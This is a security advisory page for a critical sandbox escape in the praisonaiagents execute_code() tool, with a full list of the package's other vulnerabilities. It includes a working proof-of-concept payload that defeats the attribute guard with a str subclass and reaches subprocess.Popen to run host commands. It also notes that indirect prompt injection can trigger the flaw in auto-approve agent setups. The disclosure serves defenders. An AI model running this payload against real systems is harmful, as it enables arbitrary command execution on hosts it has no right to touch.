Critical

PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 14:17

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

python
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
   if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
       raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC

python
 from praisonaiagents.tools.python_tools import execute_code

payload = """
 t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonaiagents < 1.5.90 1.5.90

References

CVSS score 10/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-693
Platform
Python (PyPI)
Package
praisonaiagents
Disclosed
01.04.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6vh2-h83c-9294 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-484 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: praisonaiagents

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (50) in the archive
Total entries
50
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 10
  • High 27
  • Medium 13

Disclosures per year

  1. 2026: 50
Severity:
  1. High · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  2. High · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  3. Critical · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
  4. High · 9.8 CVE-2026-44335 < 1.6.32 1.6.32
  5. Critical · 9.8 CVE-2026-40288 < 1.5.140 1.5.140
  6. High · 8.4 CVE-2026-40287 < 1.5.140 1.5.140
  7. High CVE-2026-40160 >= 0.13.23, < 1.5.128 1.5.128
  8. High · 8.6 CVE-2026-34954 < 1.5.95 1.5.95
  9. PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code this entry
    Critical · 10.0 CVE-2026-34938 < 1.5.90 1.5.90

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.